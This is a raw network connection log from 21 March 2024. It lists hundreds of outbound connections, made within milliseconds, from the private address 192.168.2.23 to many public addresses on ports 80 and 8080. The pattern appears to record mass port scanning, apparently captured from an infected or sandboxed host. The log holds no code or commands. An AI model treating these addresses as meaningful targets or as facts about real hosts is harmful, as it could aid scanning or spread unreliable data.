Mar 21, 2024 05:16:52.905903101 CET	19035	80	192.168.2.23	178.207.100.244
Mar 21, 2024 05:16:52.905915022 CET	19035	80	192.168.2.23	178.158.198.181
Mar 21, 2024 05:16:52.905916929 CET	19035	80	192.168.2.23	178.193.105.144
Mar 21, 2024 05:16:52.905916929 CET	19035	80	192.168.2.23	178.254.33.82
Mar 21, 2024 05:16:52.905916929 CET	19035	80	192.168.2.23	178.69.164.233
Mar 21, 2024 05:16:52.905987024 CET	19035	80	192.168.2.23	178.33.68.240
Mar 21, 2024 05:16:52.905989885 CET	19035	80	192.168.2.23	178.101.61.184
Mar 21, 2024 05:16:52.905997038 CET	19035	80	192.168.2.23	178.242.111.124
Mar 21, 2024 05:16:52.906018972 CET	19035	80	192.168.2.23	178.180.63.225
Mar 21, 2024 05:16:52.906025887 CET	19035	80	192.168.2.23	178.50.176.8
Mar 21, 2024 05:16:52.906028986 CET	19035	80	192.168.2.23	178.11.178.76
Mar 21, 2024 05:16:52.906038046 CET	19035	80	192.168.2.23	178.153.158.160
Mar 21, 2024 05:16:52.906044006 CET	19035	80	192.168.2.23	178.207.20.118
Mar 21, 2024 05:16:52.906061888 CET	19035	80	192.168.2.23	178.223.33.180
Mar 21, 2024 05:16:52.906063080 CET	19035	80	192.168.2.23	178.56.81.249
Mar 21, 2024 05:16:52.906076908 CET	19035	80	192.168.2.23	178.50.110.151
Mar 21, 2024 05:16:52.906127930 CET	19035	80	192.168.2.23	178.18.39.92
Mar 21, 2024 05:16:52.906131983 CET	19035	80	192.168.2.23	178.199.55.64
Mar 21, 2024 05:16:52.906188011 CET	19035	80	192.168.2.23	178.217.78.8
Mar 21, 2024 05:16:52.906196117 CET	19035	80	192.168.2.23	178.0.36.128
Mar 21, 2024 05:16:52.906196117 CET	19035	80	192.168.2.23	178.166.22.36
Mar 21, 2024 05:16:52.906196117 CET	19035	80	192.168.2.23	178.24.43.164
Mar 21, 2024 05:16:52.906197071 CET	19035	80	192.168.2.23	178.87.49.2
Mar 21, 2024 05:16:52.906198025 CET	19035	80	192.168.2.23	178.125.95.246
Mar 21, 2024 05:16:52.906215906 CET	19035	80	192.168.2.23	178.97.240.64
Mar 21, 2024 05:16:52.906230927 CET	19035	80	192.168.2.23	178.118.145.245
Mar 21, 2024 05:16:52.906276941 CET	19035	80	192.168.2.23	178.101.116.180
Mar 21, 2024 05:16:52.906296968 CET	19035	80	192.168.2.23	178.248.223.194
Mar 21, 2024 05:16:52.906310081 CET	19035	80	192.168.2.23	178.245.154.191
Mar 21, 2024 05:16:52.906321049 CET	19035	80	192.168.2.23	178.167.43.42
Mar 21, 2024 05:16:52.906321049 CET	19035	80	192.168.2.23	178.87.246.175
Mar 21, 2024 05:16:52.906323910 CET	19035	80	192.168.2.23	178.124.213.46
Mar 21, 2024 05:16:52.906327009 CET	19035	80	192.168.2.23	178.169.133.211
Mar 21, 2024 05:16:52.906343937 CET	19035	80	192.168.2.23	178.128.147.195
Mar 21, 2024 05:16:52.906357050 CET	19035	80	192.168.2.23	178.162.228.187
Mar 21, 2024 05:16:52.906378984 CET	19035	80	192.168.2.23	178.175.102.21
Mar 21, 2024 05:16:52.906380892 CET	19035	80	192.168.2.23	178.12.80.107
Mar 21, 2024 05:16:52.906457901 CET	19035	80	192.168.2.23	178.185.53.74
Mar 21, 2024 05:16:52.906457901 CET	19035	80	192.168.2.23	178.86.238.76
Mar 21, 2024 05:16:52.906459093 CET	19035	80	192.168.2.23	178.226.83.147
Mar 21, 2024 05:16:52.906460047 CET	19035	80	192.168.2.23	178.243.223.68
Mar 21, 2024 05:16:52.906460047 CET	19035	80	192.168.2.23	178.134.182.29
Mar 21, 2024 05:16:52.906476974 CET	19035	80	192.168.2.23	178.127.164.121
Mar 21, 2024 05:16:52.906491995 CET	19035	80	192.168.2.23	178.150.135.108
Mar 21, 2024 05:16:52.906492949 CET	19035	80	192.168.2.23	178.17.155.86
Mar 21, 2024 05:16:52.906538963 CET	19035	80	192.168.2.23	178.161.52.27
Mar 21, 2024 05:16:52.906538963 CET	19035	80	192.168.2.23	178.210.177.249
Mar 21, 2024 05:16:52.906580925 CET	19035	80	192.168.2.23	178.110.6.139
Mar 21, 2024 05:16:52.906589985 CET	19035	80	192.168.2.23	178.26.26.205
Mar 21, 2024 05:16:52.906589985 CET	19035	80	192.168.2.23	178.17.88.178
Mar 21, 2024 05:16:52.906591892 CET	19035	80	192.168.2.23	178.87.42.97
Mar 21, 2024 05:16:52.906605005 CET	19035	80	192.168.2.23	178.96.196.83
Mar 21, 2024 05:16:52.906616926 CET	19035	80	192.168.2.23	178.47.223.192
Mar 21, 2024 05:16:52.906619072 CET	19035	80	192.168.2.23	178.203.201.234
Mar 21, 2024 05:16:52.906636000 CET	19035	80	192.168.2.23	178.201.245.184
Mar 21, 2024 05:16:52.906651020 CET	19035	80	192.168.2.23	178.22.45.126
Mar 21, 2024 05:16:52.906689882 CET	19035	80	192.168.2.23	178.254.73.163
Mar 21, 2024 05:16:52.906696081 CET	19035	80	192.168.2.23	178.231.76.198
Mar 21, 2024 05:16:52.906730890 CET	19035	80	192.168.2.23	178.251.62.147
Mar 21, 2024 05:16:52.906742096 CET	19035	80	192.168.2.23	178.124.63.171
Mar 21, 2024 05:16:52.906744003 CET	19035	80	192.168.2.23	178.36.155.186
Mar 21, 2024 05:16:52.906744957 CET	19035	80	192.168.2.23	178.142.27.194
Mar 21, 2024 05:16:52.906747103 CET	19035	80	192.168.2.23	178.116.96.128
Mar 21, 2024 05:16:52.906761885 CET	19035	80	192.168.2.23	178.66.184.6
Mar 21, 2024 05:16:52.906769991 CET	19035	80	192.168.2.23	178.72.229.134
Mar 21, 2024 05:16:52.906790972 CET	19035	80	192.168.2.23	178.249.134.11
Mar 21, 2024 05:16:52.906837940 CET	19035	80	192.168.2.23	178.170.233.22
Mar 21, 2024 05:16:52.906869888 CET	19035	80	192.168.2.23	178.124.59.138
Mar 21, 2024 05:16:52.906874895 CET	19035	80	192.168.2.23	178.210.129.83
Mar 21, 2024 05:16:52.906874895 CET	19035	80	192.168.2.23	178.150.202.132
Mar 21, 2024 05:16:52.906878948 CET	19035	80	192.168.2.23	178.172.147.193
Mar 21, 2024 05:16:52.906881094 CET	19035	80	192.168.2.23	178.218.239.171
Mar 21, 2024 05:16:52.906882048 CET	19035	80	192.168.2.23	178.231.85.154
Mar 21, 2024 05:16:52.906903028 CET	19035	80	192.168.2.23	178.30.121.149
Mar 21, 2024 05:16:52.906919003 CET	19035	80	192.168.2.23	178.12.48.28
Mar 21, 2024 05:16:52.906932116 CET	19035	80	192.168.2.23	178.49.252.178
Mar 21, 2024 05:16:52.906966925 CET	19035	80	192.168.2.23	178.162.24.75
Mar 21, 2024 05:16:52.907026052 CET	19035	80	192.168.2.23	178.193.171.71
Mar 21, 2024 05:16:52.907030106 CET	19035	80	192.168.2.23	178.0.145.187
Mar 21, 2024 05:16:52.907037020 CET	19035	80	192.168.2.23	178.182.74.166
Mar 21, 2024 05:16:52.907037020 CET	19035	80	192.168.2.23	178.123.149.200
Mar 21, 2024 05:16:52.907042027 CET	19035	80	192.168.2.23	178.5.87.8
Mar 21, 2024 05:16:52.907042027 CET	19035	80	192.168.2.23	178.16.163.225
Mar 21, 2024 05:16:52.907042980 CET	19035	80	192.168.2.23	178.76.18.103
Mar 21, 2024 05:16:52.907044888 CET	19035	80	192.168.2.23	178.52.62.163
Mar 21, 2024 05:16:52.907059908 CET	19035	80	192.168.2.23	178.31.5.174
Mar 21, 2024 05:16:52.907133102 CET	19035	80	192.168.2.23	178.174.111.110
Mar 21, 2024 05:16:52.907140970 CET	19035	80	192.168.2.23	178.58.57.165
Mar 21, 2024 05:16:52.907140970 CET	19035	80	192.168.2.23	178.96.113.239
Mar 21, 2024 05:16:52.907150984 CET	19035	80	192.168.2.23	178.201.50.249
Mar 21, 2024 05:16:52.907152891 CET	19035	80	192.168.2.23	178.33.185.124
Mar 21, 2024 05:16:52.907150984 CET	19035	80	192.168.2.23	178.153.152.232
Mar 21, 2024 05:16:52.907152891 CET	19035	80	192.168.2.23	178.218.246.83
Mar 21, 2024 05:16:52.907152891 CET	19035	80	192.168.2.23	178.232.121.152
Mar 21, 2024 05:16:52.907170057 CET	19035	80	192.168.2.23	178.82.230.2
Mar 21, 2024 05:16:52.907206059 CET	19035	80	192.168.2.23	178.128.161.233
Mar 21, 2024 05:16:52.907213926 CET	19035	80	192.168.2.23	178.58.244.215
Mar 21, 2024 05:16:52.907249928 CET	19035	80	192.168.2.23	178.211.96.58
Mar 21, 2024 05:16:52.907250881 CET	19035	80	192.168.2.23	178.57.92.63
Mar 21, 2024 05:16:52.907253981 CET	19035	80	192.168.2.23	178.20.21.247
Mar 21, 2024 05:16:52.907269955 CET	19035	80	192.168.2.23	178.186.3.46
Mar 21, 2024 05:16:52.907283068 CET	19035	80	192.168.2.23	178.144.15.58
Mar 21, 2024 05:16:52.907299042 CET	19035	80	192.168.2.23	178.101.23.179
Mar 21, 2024 05:16:52.907337904 CET	19035	80	192.168.2.23	178.63.90.128
Mar 21, 2024 05:16:52.907371998 CET	19035	80	192.168.2.23	178.80.135.172
Mar 21, 2024 05:16:52.907377958 CET	19035	80	192.168.2.23	178.27.200.194
Mar 21, 2024 05:16:52.907402992 CET	19035	80	192.168.2.23	178.82.17.5
Mar 21, 2024 05:16:52.907411098 CET	19035	80	192.168.2.23	178.87.235.168
Mar 21, 2024 05:16:52.907418966 CET	19035	80	192.168.2.23	178.155.122.134
Mar 21, 2024 05:16:52.907418966 CET	19035	80	192.168.2.23	178.58.200.7
Mar 21, 2024 05:16:52.907418966 CET	19035	80	192.168.2.23	178.45.110.196
Mar 21, 2024 05:16:52.907429934 CET	19035	80	192.168.2.23	178.105.180.153
Mar 21, 2024 05:16:52.907440901 CET	19035	80	192.168.2.23	178.138.239.162
Mar 21, 2024 05:16:52.907468081 CET	19035	80	192.168.2.23	178.246.20.68
Mar 21, 2024 05:16:52.907475948 CET	19035	80	192.168.2.23	178.199.61.166
Mar 21, 2024 05:16:52.907493114 CET	19035	80	192.168.2.23	178.241.160.146
Mar 21, 2024 05:16:52.907514095 CET	19035	80	192.168.2.23	178.124.2.92
Mar 21, 2024 05:16:52.907522917 CET	19035	80	192.168.2.23	178.252.58.161
Mar 21, 2024 05:16:52.907542944 CET	19035	80	192.168.2.23	178.56.147.177
Mar 21, 2024 05:16:52.907552004 CET	19035	80	192.168.2.23	178.131.174.225
Mar 21, 2024 05:16:52.907582998 CET	19035	80	192.168.2.23	178.108.173.213
Mar 21, 2024 05:16:52.907598972 CET	19035	80	192.168.2.23	178.145.246.247
Mar 21, 2024 05:16:52.907602072 CET	19035	80	192.168.2.23	178.32.90.7
Mar 21, 2024 05:16:52.907613993 CET	19035	80	192.168.2.23	178.13.251.163
Mar 21, 2024 05:16:52.907633066 CET	19035	80	192.168.2.23	178.20.153.184
Mar 21, 2024 05:16:52.907640934 CET	19035	80	192.168.2.23	178.43.20.43
Mar 21, 2024 05:16:52.907654047 CET	19035	80	192.168.2.23	178.104.210.145
Mar 21, 2024 05:16:52.907674074 CET	19035	80	192.168.2.23	178.20.165.136
Mar 21, 2024 05:16:52.907682896 CET	19035	80	192.168.2.23	178.227.156.136
Mar 21, 2024 05:16:52.907696009 CET	19035	80	192.168.2.23	178.86.216.37
Mar 21, 2024 05:16:52.907710075 CET	19035	80	192.168.2.23	178.37.148.164
Mar 21, 2024 05:16:52.907727957 CET	19035	80	192.168.2.23	178.82.180.39
Mar 21, 2024 05:16:52.907761097 CET	19035	80	192.168.2.23	178.70.95.0
Mar 21, 2024 05:16:52.907764912 CET	19035	80	192.168.2.23	178.80.60.152
Mar 21, 2024 05:16:52.907777071 CET	19035	80	192.168.2.23	178.71.64.100
Mar 21, 2024 05:16:52.907797098 CET	19035	80	192.168.2.23	178.49.128.241
Mar 21, 2024 05:16:52.907834053 CET	19035	80	192.168.2.23	178.188.146.178
Mar 21, 2024 05:16:52.907839060 CET	19035	80	192.168.2.23	178.156.112.218
Mar 21, 2024 05:16:52.907857895 CET	19035	80	192.168.2.23	178.37.87.71
Mar 21, 2024 05:16:52.907857895 CET	19035	80	192.168.2.23	178.11.125.114
Mar 21, 2024 05:16:52.907859087 CET	19035	80	192.168.2.23	178.74.244.214
Mar 21, 2024 05:16:52.907908916 CET	19035	80	192.168.2.23	178.209.80.49
Mar 21, 2024 05:16:52.907913923 CET	19035	80	192.168.2.23	178.184.90.71
Mar 21, 2024 05:16:52.907913923 CET	19035	80	192.168.2.23	178.85.78.128
Mar 21, 2024 05:16:52.907918930 CET	19035	80	192.168.2.23	178.135.28.252
Mar 21, 2024 05:16:52.907960892 CET	19035	80	192.168.2.23	178.195.204.105
Mar 21, 2024 05:16:52.908003092 CET	19035	80	192.168.2.23	178.142.160.78
Mar 21, 2024 05:16:52.908005953 CET	19035	80	192.168.2.23	178.144.56.18
Mar 21, 2024 05:16:52.908006907 CET	19035	80	192.168.2.23	178.96.213.179
Mar 21, 2024 05:16:52.908011913 CET	19035	80	192.168.2.23	178.203.82.159
Mar 21, 2024 05:16:52.908021927 CET	19035	80	192.168.2.23	178.77.174.10
Mar 21, 2024 05:16:52.908025026 CET	19035	80	192.168.2.23	178.221.203.192
Mar 21, 2024 05:16:52.908025026 CET	19035	80	192.168.2.23	178.177.170.190
Mar 21, 2024 05:16:52.908039093 CET	19035	80	192.168.2.23	178.98.68.214
Mar 21, 2024 05:16:52.908082962 CET	19035	80	192.168.2.23	178.247.105.214
Mar 21, 2024 05:16:52.908082962 CET	19035	80	192.168.2.23	178.154.47.124
Mar 21, 2024 05:16:52.908129930 CET	19035	80	192.168.2.23	178.112.161.227
Mar 21, 2024 05:16:52.908133984 CET	19035	80	192.168.2.23	178.96.70.52
Mar 21, 2024 05:16:52.908143044 CET	19035	80	192.168.2.23	178.207.90.191
Mar 21, 2024 05:16:52.908147097 CET	19035	80	192.168.2.23	178.194.7.60
Mar 21, 2024 05:16:52.908147097 CET	19035	80	192.168.2.23	178.35.91.213
Mar 21, 2024 05:16:52.908149004 CET	19035	80	192.168.2.23	178.210.157.133
Mar 21, 2024 05:16:52.908153057 CET	19035	80	192.168.2.23	178.90.215.250
Mar 21, 2024 05:16:52.908185959 CET	19035	80	192.168.2.23	178.10.7.127
Mar 21, 2024 05:16:52.908195972 CET	19035	80	192.168.2.23	178.145.199.117
Mar 21, 2024 05:16:52.908195972 CET	19035	80	192.168.2.23	178.34.150.57
Mar 21, 2024 05:16:52.908260107 CET	19035	80	192.168.2.23	178.167.180.83
Mar 21, 2024 05:16:52.908262968 CET	19035	80	192.168.2.23	178.41.160.35
Mar 21, 2024 05:16:52.908265114 CET	19035	80	192.168.2.23	178.112.204.7
Mar 21, 2024 05:16:52.908267975 CET	19035	80	192.168.2.23	178.133.32.218
Mar 21, 2024 05:16:52.908268929 CET	19035	80	192.168.2.23	178.75.71.38
Mar 21, 2024 05:16:52.908271074 CET	19035	80	192.168.2.23	178.166.55.154
Mar 21, 2024 05:16:52.908289909 CET	19035	80	192.168.2.23	178.149.78.86
Mar 21, 2024 05:16:52.908303022 CET	19035	80	192.168.2.23	178.125.125.1
Mar 21, 2024 05:16:52.908322096 CET	19035	80	192.168.2.23	178.121.33.3
Mar 21, 2024 05:16:52.908341885 CET	19035	80	192.168.2.23	178.164.91.14
Mar 21, 2024 05:16:52.908374071 CET	19035	80	192.168.2.23	178.195.35.47
Mar 21, 2024 05:16:52.908402920 CET	19035	80	192.168.2.23	178.54.174.51
Mar 21, 2024 05:16:52.908411026 CET	19035	80	192.168.2.23	178.231.111.57
Mar 21, 2024 05:16:52.908411026 CET	19035	80	192.168.2.23	178.226.173.194
Mar 21, 2024 05:16:52.908413887 CET	19035	80	192.168.2.23	178.156.143.155
Mar 21, 2024 05:16:52.908425093 CET	19035	80	192.168.2.23	178.89.10.69
Mar 21, 2024 05:16:52.908442974 CET	19035	80	192.168.2.23	178.64.211.169
Mar 21, 2024 05:16:52.908453941 CET	19035	80	192.168.2.23	178.108.133.2
Mar 21, 2024 05:16:52.908478975 CET	19035	80	192.168.2.23	178.8.65.46
Mar 21, 2024 05:16:52.908497095 CET	19035	80	192.168.2.23	178.39.160.179
Mar 21, 2024 05:16:52.908509016 CET	19035	80	192.168.2.23	178.80.240.166
Mar 21, 2024 05:16:52.908571959 CET	19035	80	192.168.2.23	178.213.96.254
Mar 21, 2024 05:16:52.908571959 CET	19035	80	192.168.2.23	178.116.117.208
Mar 21, 2024 05:16:52.908575058 CET	19035	80	192.168.2.23	178.246.105.31
Mar 21, 2024 05:16:52.908576012 CET	19035	80	192.168.2.23	178.190.17.234
Mar 21, 2024 05:16:52.908576965 CET	19035	80	192.168.2.23	178.128.244.145
Mar 21, 2024 05:16:52.908576965 CET	19035	80	192.168.2.23	178.20.109.165
Mar 21, 2024 05:16:52.908591986 CET	19035	80	192.168.2.23	178.11.2.174
Mar 21, 2024 05:16:52.908607006 CET	19035	80	192.168.2.23	178.27.137.165
Mar 21, 2024 05:16:52.908644915 CET	19035	80	192.168.2.23	178.171.220.93
Mar 21, 2024 05:16:52.908654928 CET	19035	80	192.168.2.23	178.6.177.215
Mar 21, 2024 05:16:52.908658981 CET	19035	80	192.168.2.23	178.198.55.163
Mar 21, 2024 05:16:52.908699989 CET	19035	80	192.168.2.23	178.146.34.226
Mar 21, 2024 05:16:52.908709049 CET	19035	80	192.168.2.23	178.145.20.226
Mar 21, 2024 05:16:52.908711910 CET	19035	80	192.168.2.23	178.4.55.51
Mar 21, 2024 05:16:52.908725023 CET	19035	80	192.168.2.23	178.104.181.108
Mar 21, 2024 05:16:52.908736944 CET	19035	80	192.168.2.23	178.51.25.28
Mar 21, 2024 05:16:52.908739090 CET	19035	80	192.168.2.23	178.204.95.86
Mar 21, 2024 05:16:52.908780098 CET	19035	80	192.168.2.23	178.165.62.160
Mar 21, 2024 05:16:52.908829927 CET	19035	80	192.168.2.23	178.60.142.9
Mar 21, 2024 05:16:52.908833981 CET	19035	80	192.168.2.23	178.101.151.225
Mar 21, 2024 05:16:52.908843040 CET	19035	80	192.168.2.23	178.95.85.24
Mar 21, 2024 05:16:52.908843040 CET	19035	80	192.168.2.23	178.89.1.249
Mar 21, 2024 05:16:52.908843994 CET	19035	80	192.168.2.23	178.193.175.55
Mar 21, 2024 05:16:52.908848047 CET	19035	80	192.168.2.23	178.213.47.113
Mar 21, 2024 05:16:52.908860922 CET	19035	80	192.168.2.23	178.145.178.39
Mar 21, 2024 05:16:52.908883095 CET	19035	80	192.168.2.23	178.4.247.93
Mar 21, 2024 05:16:52.908942938 CET	19035	80	192.168.2.23	178.205.12.55
Mar 21, 2024 05:16:52.908946991 CET	19035	80	192.168.2.23	178.116.250.23
Mar 21, 2024 05:16:52.908956051 CET	19035	80	192.168.2.23	178.235.126.153
Mar 21, 2024 05:16:52.908956051 CET	19035	80	192.168.2.23	178.126.249.106
Mar 21, 2024 05:16:52.908956051 CET	19035	80	192.168.2.23	178.187.149.209
Mar 21, 2024 05:16:52.908963919 CET	19035	80	192.168.2.23	178.134.188.121
Mar 21, 2024 05:16:52.908987999 CET	19035	80	192.168.2.23	178.197.93.181
Mar 21, 2024 05:16:52.908997059 CET	19035	80	192.168.2.23	178.146.69.139
Mar 21, 2024 05:16:52.909049034 CET	19035	80	192.168.2.23	178.229.224.123
Mar 21, 2024 05:16:52.909049034 CET	19035	80	192.168.2.23	178.248.38.94
Mar 21, 2024 05:16:52.910339117 CET	19029	8080	192.168.2.23	19.126.43.74
Mar 21, 2024 05:16:52.910454035 CET	19029	80	192.168.2.23	212.207.21.206
Mar 21, 2024 05:16:52.910454035 CET	19029	80	192.168.2.23	24.45.215.55
Mar 21, 2024 05:16:52.910460949 CET	19029	80	192.168.2.23	212.21.6.4
Mar 21, 2024 05:16:52.910461903 CET	19029	80	192.168.2.23	43.25.28.89
Mar 21, 2024 05:16:52.910461903 CET	19029	80	192.168.2.23	212.35.7.19
Mar 21, 2024 05:16:52.910460949 CET	19029	80	192.168.2.23	212.68.24.12
Mar 21, 2024 05:16:52.910461903 CET	19029	80	192.168.2.23	212.107.125.8
Mar 21, 2024 05:16:52.910463095 CET	19029	80	192.168.2.23	212.183.63.127
Mar 21, 2024 05:16:52.910463095 CET	19029	8080	192.168.2.23	212.200.94.72
Mar 21, 2024 05:16:52.910479069 CET	19029	80	192.168.2.23	148.173.128.149
Mar 21, 2024 05:16:52.910479069 CET	19029	80	192.168.2.23	212.246.191.5
Mar 21, 2024 05:16:52.910482883 CET	19029	80	192.168.2.23	137.111.253.25
Mar 21, 2024 05:16:52.910482883 CET	19029	80	192.168.2.23	61.56.104.227
Mar 21, 2024 05:16:52.910485029 CET	19029	80	192.168.2.23	220.158.155.185
Mar 21, 2024 05:16:52.910485029 CET	19029	80	192.168.2.23	212.146.231.114
Mar 21, 2024 05:16:52.910485029 CET	19029	80	192.168.2.23	102.159.246.147
Mar 21, 2024 05:16:52.910485029 CET	19029	80	192.168.2.23	193.174.192.26
Mar 21, 2024 05:16:52.910487890 CET	19029	80	192.168.2.23	212.157.252.214
Mar 21, 2024 05:16:52.910487890 CET	19029	8080	192.168.2.23	133.114.189.172
Mar 21, 2024 05:16:52.910494089 CET	19029	80	192.168.2.23	212.226.241.14
Mar 21, 2024 05:16:52.910494089 CET	19029	80	192.168.2.23	65.233.18.124
Mar 21, 2024 05:16:52.910494089 CET	19029	80	192.168.2.23	217.14.212.89
Mar 21, 2024 05:16:52.910494089 CET	19029	80	192.168.2.23	212.39.145.177
Mar 21, 2024 05:16:52.910494089 CET	19029	80	192.168.2.23	212.115.88.0
Mar 21, 2024 05:16:52.910494089 CET	19029	80	192.168.2.23	212.119.160.46
Mar 21, 2024 05:16:52.910494089 CET	19029	80	192.168.2.23	41.185.242.202
Mar 21, 2024 05:16:52.910494089 CET	19029	80	192.168.2.23	212.247.120.169
Mar 21, 2024 05:16:52.910499096 CET	19029	8080	192.168.2.23	190.193.86.87
Mar 21, 2024 05:16:52.910501957 CET	19029	80	192.168.2.23	220.221.233.75
Mar 21, 2024 05:16:52.910501957 CET	19029	80	192.168.2.23	212.156.36.249
Mar 21, 2024 05:16:52.910502911 CET	19029	80	192.168.2.23	71.187.185.3
Mar 21, 2024 05:16:52.910502911 CET	19029	80	192.168.2.23	180.228.30.11
Mar 21, 2024 05:16:52.910514116 CET	19029	80	192.168.2.23	212.143.30.89
Mar 21, 2024 05:16:52.910516977 CET	19029	80	192.168.2.23	216.166.58.199
Mar 21, 2024 05:16:52.910516977 CET	19029	80	192.168.2.23	167.232.87.79
Mar 21, 2024 05:16:52.910516977 CET	19029	80	192.168.2.23	212.220.29.16
Mar 21, 2024 05:16:52.910516977 CET	19029	80	192.168.2.23	23.149.2.71
Mar 21, 2024 05:16:52.910518885 CET	19029	80	192.168.2.23	23.54.90.158
Mar 21, 2024 05:16:52.910527945 CET	19029	80	192.168.2.23	212.137.199.138
Mar 21, 2024 05:16:52.910537004 CET	19029	80	192.168.2.23	71.77.7.239
Mar 21, 2024 05:16:52.910540104 CET	19029	80	192.168.2.23	209.249.18.234
Mar 21, 2024 05:16:52.910543919 CET	19029	8080	192.168.2.23	24.112.85.21
Mar 21, 2024 05:16:52.910545111 CET	19029	80	192.168.2.23	141.218.184.139
Mar 21, 2024 05:16:52.910552025 CET	19029	80	192.168.2.23	212.108.132.15
Mar 21, 2024 05:16:52.910557032 CET	19029	80	192.168.2.23	216.0.215.26
Mar 21, 2024 05:16:52.910567045 CET	19029	80	192.168.2.23	212.113.221.41
Mar 21, 2024 05:16:52.910571098 CET	19029	80	192.168.2.23	212.17.6.89
Mar 21, 2024 05:16:52.910571098 CET	19029	80	192.168.2.23	102.168.203.72
Mar 21, 2024 05:16:52.910636902 CET	19029	8080	192.168.2.23	49.149.106.16
Mar 21, 2024 05:16:52.910639048 CET	19029	80	192.168.2.23	212.175.129.114
Mar 21, 2024 05:16:52.910655022 CET	19029	8080	192.168.2.23	170.41.169.223
Mar 21, 2024 05:16:52.910656929 CET	19029	80	192.168.2.23	9.85.43.31
Mar 21, 2024 05:16:52.910660982 CET	19029	80	192.168.2.23	212.62.21.110
Mar 21, 2024 05:16:52.910660982 CET	19029	80	192.168.2.23	212.251.27.29
Mar 21, 2024 05:16:52.910660982 CET	19029	80	192.168.2.23	5.57.222.191
Mar 21, 2024 05:16:52.910660982 CET	19029	80	192.168.2.23	212.254.81.39
Mar 21, 2024 05:16:52.910660982 CET	19029	80	192.168.2.23	17.31.42.162
Mar 21, 2024 05:16:52.910660982 CET	19029	80	192.168.2.23	212.228.119.103
Mar 21, 2024 05:16:52.910660982 CET	19029	80	192.168.2.23	212.206.212.67
Mar 21, 2024 05:16:52.910664082 CET	19029	80	192.168.2.23	212.60.132.92
Mar 21, 2024 05:16:52.910666943 CET	19029	80	192.168.2.23	97.117.161.178
Mar 21, 2024 05:16:52.910666943 CET	19029	80	192.168.2.23	212.120.254.20
Mar 21, 2024 05:16:52.910666943 CET	19029	80	192.168.2.23	12.119.53.141
Mar 21, 2024 05:16:52.910666943 CET	19029	80	192.168.2.23	35.243.254.226
Mar 21, 2024 05:16:52.910675049 CET	19029	80	192.168.2.23	106.187.141.124
Mar 21, 2024 05:16:52.910689116 CET	19029	80	192.168.2.23	212.205.106.68
Mar 21, 2024 05:16:52.910689116 CET	19029	80	192.168.2.23	72.243.170.125
Mar 21, 2024 05:16:52.910689116 CET	19029	80	192.168.2.23	212.139.229.205
Mar 21, 2024 05:16:52.910692930 CET	19029	80	192.168.2.23	216.85.185.51
Mar 21, 2024 05:16:52.910696030 CET	19029	80	192.168.2.23	212.58.96.47
Mar 21, 2024 05:16:52.910696983 CET	19029	80	192.168.2.23	31.38.247.147
Mar 21, 2024 05:16:52.910696983 CET	19029	80	192.168.2.23	212.73.32.39
Mar 21, 2024 05:16:52.910696983 CET	19029	8080	192.168.2.23	212.11.69.225
Mar 21, 2024 05:16:52.910697937 CET	19029	80	192.168.2.23	212.92.139.118
Mar 21, 2024 05:16:52.910697937 CET	19029	80	192.168.2.23	212.183.152.192
Mar 21, 2024 05:16:52.910697937 CET	19029	80	192.168.2.23	212.137.243.74
Mar 21, 2024 05:16:52.910697937 CET	19029	80	192.168.2.23	89.152.248.149
Mar 21, 2024 05:16:52.910696983 CET	19029	80	192.168.2.23	212.132.143.29
Mar 21, 2024 05:16:52.910697937 CET	19029	8080	192.168.2.23	68.221.166.126
Mar 21, 2024 05:16:52.910697937 CET	19029	80	192.168.2.23	187.181.72.74
Mar 21, 2024 05:16:52.910697937 CET	19029	80	192.168.2.23	166.76.170.117
Mar 21, 2024 05:16:52.910698891 CET	19029	80	192.168.2.23	170.181.122.135
Mar 21, 2024 05:16:52.910697937 CET	19029	80	192.168.2.23	212.211.104.244
Mar 21, 2024 05:16:52.910698891 CET	19029	80	192.168.2.23	202.197.213.98
Mar 21, 2024 05:16:52.910697937 CET	19029	80	192.168.2.23	212.49.20.32
Mar 21, 2024 05:16:52.910708904 CET	19029	80	192.168.2.23	212.41.233.26
Mar 21, 2024 05:16:52.910708904 CET	19029	80	192.168.2.23	212.52.59.97
Mar 21, 2024 05:16:52.910711050 CET	19029	80	192.168.2.23	109.237.18.73
Mar 21, 2024 05:16:52.910708904 CET	19029	8080	192.168.2.23	37.23.192.3
Mar 21, 2024 05:16:52.910708904 CET	19029	80	192.168.2.23	212.133.148.196
Mar 21, 2024 05:16:52.910698891 CET	19029	80	192.168.2.23	212.195.130.48
Mar 21, 2024 05:16:52.910717964 CET	19029	80	192.168.2.23	125.223.145.250
Mar 21, 2024 05:16:52.910698891 CET	19029	80	192.168.2.23	174.246.140.224
Mar 21, 2024 05:16:52.910708904 CET	19029	80	192.168.2.23	161.4.206.61
Mar 21, 2024 05:16:52.910717964 CET	19029	80	192.168.2.23	169.166.238.127
Mar 21, 2024 05:16:52.910708904 CET	19029	80	192.168.2.23	212.34.84.11
Mar 21, 2024 05:16:52.910708904 CET	19029	80	192.168.2.23	212.111.69.111
Mar 21, 2024 05:16:52.910708904 CET	19029	80	192.168.2.23	212.75.8.171
Mar 21, 2024 05:16:52.910708904 CET	19029	8080	192.168.2.23	212.200.168.25
Mar 21, 2024 05:16:52.910708904 CET	19029	80	192.168.2.23	212.203.143.109
Mar 21, 2024 05:16:52.910721064 CET	19029	80	192.168.2.23	212.58.169.156
Mar 21, 2024 05:16:52.910729885 CET	19029	80	192.168.2.23	212.185.207.2
Mar 21, 2024 05:16:52.910731077 CET	19029	80	192.168.2.23	114.147.249.253
Mar 21, 2024 05:16:52.910729885 CET	19029	80	192.168.2.23	54.217.46.77
Mar 21, 2024 05:16:52.910753012 CET	19029	80	192.168.2.23	212.192.74.152
Mar 21, 2024 05:16:52.910753012 CET	19029	80	192.168.2.23	212.66.89.31
Mar 21, 2024 05:16:52.910753012 CET	19029	80	192.168.2.23	212.182.142.87
Mar 21, 2024 05:16:52.910753012 CET	19029	80	192.168.2.23	212.65.79.107
Mar 21, 2024 05:16:52.910770893 CET	19029	80	192.168.2.23	212.96.138.217
Mar 21, 2024 05:16:52.910770893 CET	19029	80	192.168.2.23	218.47.58.216
Mar 21, 2024 05:16:52.910770893 CET	19029	80	192.168.2.23	212.85.30.106
Mar 21, 2024 05:16:52.910770893 CET	19029	8080	192.168.2.23	212.138.92.177
Mar 21, 2024 05:16:52.910799980 CET	19029	80	192.168.2.23	212.100.51.141
Mar 21, 2024 05:16:52.910804033 CET	19029	80	192.168.2.23	212.215.47.20
Mar 21, 2024 05:16:52.910809994 CET	19029	80	192.168.2.23	212.162.147.4
Mar 21, 2024 05:16:52.910809994 CET	19029	80	192.168.2.23	39.65.91.162
